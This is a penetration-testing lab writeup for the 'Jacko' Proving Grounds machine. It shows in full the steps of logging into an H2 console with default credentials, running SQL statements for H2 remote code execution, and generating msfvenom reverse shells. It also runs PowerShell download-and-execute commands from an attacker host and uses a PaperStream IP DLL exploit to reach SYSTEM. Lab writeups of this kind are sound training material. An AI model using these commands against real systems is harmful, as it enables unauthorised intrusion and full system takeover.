> For the complete documentation index, see [llms.txt](https://pentesting.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.zeyu2001.com/proving-grounds/get-to-work/jacko.md). # Jacko Writeup for Jacko from Offensive Security Proving Grounds (PG) ## Information Gathering ### Service Enumeration `nmapAutomator.sh -H 192.168.134.66 -t full` ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadKjphMzWy0ZMUsn7d%2F021d0b8afd7649f39fca8d24b8bbf7fb.png?alt=media\&token=261fe72f-f221-457d-984c-93b8a178bb6f) `nmapAutomator.sh -H 192.168.134.66 -t vulns` ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadKmmA1P8Z_rkwMQqM%2F1072d5ba8679429aaeb01136da99232d.png?alt=media\&token=a7a61b7c-0856-4695-b933-536134e4fee3) ### SMB Null sessions not allowed ### HTTP Port 80: ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadKqQan86ot7LMhUGM%2F34c2f6718a9b486c8d5790dcb7175e60.png?alt=media\&token=b4558db9-62b5-428e-b414-53e154a39079) Port 8082: ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadKsus6nySELbbcrru%2F666f9bc5257044d6bed3cdc7acc76aaa.png?alt=media\&token=e377d5c5-7b3e-48ff-8c57-4d56b05cb11b) The default credentials `sa:` worked. Here we can run SQL queries. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadL0yaUP2B4Uz1YzAM%2F0bfad5b5c0984bf7a22935c519293093.png?alt=media\&token=54878420-8679-4f1d-950b-9c903fce709b) `SHOW DATABASES` shows us that there is a `PUBLIC` schema. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadL3I0gHIGB3lfyG9W%2F7084ba7897af4583ac7b68e660231dfe.png?alt=media\&token=de150240-4154-4e8c-aaa4-7a3984d0f2c8) However, further enumeration found nothing much interesting in the database. We see the version of the product (H2 1.4.199). This version suffers from an RCE vulnerability. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadL84lXlEfuSYmVX2C%2Fb79123062d834793a967f0c26b95e917.png?alt=media\&token=3b6daeab-88d3-4b8c-827c-09b8a728f11c) Reference: If we execute the following SQL statements: ``` -- Write native library SELECT CSVWRITE('C:\Windows\Temp\JNIScriptEngine.dll', CONCAT('SELECT NULL "', CHAR(0x4d),CHAR(0x5a),CHAR(0x90), ... ,CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),'"'), 'ISO-8859-1', '', '', '', '', ''); -- Load native library CREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load"; CALL System_load('C:\Windows\Temp\JNIScriptEngine.dll'); -- Evaluate script CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval"; CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("whoami").getInputStream()).useDelimiter("\\Z").next()'); ``` we can achieve RCE. With this, we can run the `systeminfo` command. This shows us that the architecture is x64. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadLHgqcFfd9WEVwFnm%2Fac23f5cc520b4c4c9c5fa4ef8af134d7.png?alt=media\&token=59a6a6ab-c31f-41d6-90cc-75ecd3cb905a) `msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.49.103 LPORT=445 -f exe > reverse.exe` **Note that ports like 4242, 4444, etc. did not work. I used port 445 since I realised that I was able to copy files via SMB, so it likely won't be blocked by the firewall.** Copy the payload to the victim machine via SMB: ```sql CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("cmd.exe /c copy \\\\192.168.49.103\\ROPNOP\\reverse.exe c:\\users\\tony\\reverse.exe").getInputStream()).useDelimiter("\\Z").next()'); ``` ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadLiB3Fz5OLMrA0UZ7%2F209d74a651a148b18f8652c74a1c3fc3.png?alt=media\&token=010b303c-66bc-455e-a91b-2b26a8cb80e0) Running the payload: ```sql CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("c:\\users\\tony\\reverse.exe").getInputStream()).useDelimiter("\\Z").next()'); ``` Receiving the reverse shell: ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadLlEKhAngTrIl5fk4%2F364a758bbb304e99aaf1488d22bc523f.png?alt=media\&token=10be805e-f724-4190-b4d5-c0d4c560ba54) ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadLsVnwxfX6zI2p8fb%2F4efd57e982134262906d2d5ba26b4385.png?alt=media\&token=cd5c350f-821d-4900-a444-ef804a651095) ### Privilege Escalation #### SeImpersonatePrivilege `c:\windows\system32\whoami.exe /priv` We see that `SeImpersonatePrivilege` is enabled. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadM7ALl_Dlkhw072iJ%2F22f6c74ab5294d5c859882a40b109743.png?alt=media\&token=248186ee-77de-40e5-a580-94babfc325d0) After we locate the location of `powershell.exe`, we can run powershell. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadMBqzx3IqcXVjRVR7%2Fa5793bbfd02e41a98d89c71345a6ef1d.png?alt=media\&token=f34a0246-c4eb-48bb-8dec-0e7bcaaa9698) Using the `GetCLSID.ps1` script from , we can attempt to get CLSIDs. `IEX (New-Object Net.WebClient).DownloadString('http://192.168.49.103/GetCLSID.ps1')` ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadMG_DfmTFwDBpwiLX%2Fdb1ad6867bb744199270e1242d9b5498.png?alt=media\&token=a1f62f4d-d682-4ca6-94a0-cd4bd2e86fda) This does not work because we cannot find any CLSIDs. #### Windows OS Exploits Transfer WinPEAS: `$WebClient = New-Object System.Net.WebClient; $WebClient.DownloadFile("http://192.168.49.103/winPEASx86.exe","C:\users\tony\winPEASx86.exe")` Run WinPEAS: `c:\users\tony\winpeasx86.exe` ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadMTeUzb5ooeoP0eJC%2F348a5f7d010840c59a56d4843b05db60.png?alt=media\&token=2cb4c047-71f8-41bb-b2fa-4d44ab475570) We could try these as a last resort. #### Vulnerable Apps **Took quite a while to figure this out. Always check for vulnerable apps if WinPEAS does not find anything useful!** ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadMaol4VyzXTH5MbHw%2Ffa85991e9b8340df8fed96b2c26388f7.png?alt=media\&token=f5d3ec86-064b-4ee2-be16-735ab2d5f8d6) ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadMede9MTxuOf9ltr3%2F7241af1f69a64de3bf9be18186832ce7.png?alt=media\&token=46f25d83-53a9-4452-b1cc-64d1f90a8505) We can check the PaperStream IP version, it is 1.42 ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadMs6oo7UN108K3X8k%2F59a45612ea384eac8bcfd17c8ad03679.png?alt=media\&token=a00d6dea-0d7e-40ef-a566-7a069ebfea5b) This version is vulnerable to a privilege escalation vulnerability. PaperStream IP exploit: `msfvenom -p windows/shell_reverse_tcp -f dll -o shell.dll LHOST=192.168.49.103 LPORT=445` ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadNCpAc_wF4rEqlufv%2Fb67212d77f5146f6a15675a63d98d0ae.png?alt=media\&token=f5fa3aad-9d41-4c94-82f7-becc0fe1f670) **I initially made the mistake of using an `x64` payload. Note that the application is found under `Program Files (x86)`, so it cannot use an `x64` DLL.** `$WebClient = New-Object System.Net.WebClient; $WebClient.DownloadFile("http://192.168.49.103/shell.dll","C:\users\tony\shell.dll")` `$WebClient = New-Object System.Net.WebClient; $WebClient.DownloadFile("http://192.168.49.103/49382.ps1","C:\users\tony\49382.ps1")` Run the exploit: `C:\users\tony\49382.ps1` ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadNSPX9P7JYNIRSZmU%2F09234d8c21064bfd90fac875bd05e53d.png?alt=media\&token=361469ff-528b-4dd6-ba1c-6d6817593f54) Once the exploit is triggered, we obtain our reverse shell. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadNao1ag55biQHa96D%2F002ed5fe3e274bb2926b32474c8ebfe6.png?alt=media\&token=8ea070f8-2bcf-4fa0-9ea1-3b12bc1a00fb) The exploit works and we received a SYSTEM shell. ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadNdgNQlbeeP9MyDKh%2Fff7dd418cef0408e81323e49bafb1249.png?alt=media\&token=c177bed0-53c1-4f75-8920-71376ee619cb) ![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadNgOkswCDuFDsCyE8%2F34ee540f2df94dcaaae6914ef1baa47e.png?alt=media\&token=106373a4-002d-4b82-9d45-ba1edea1f99d)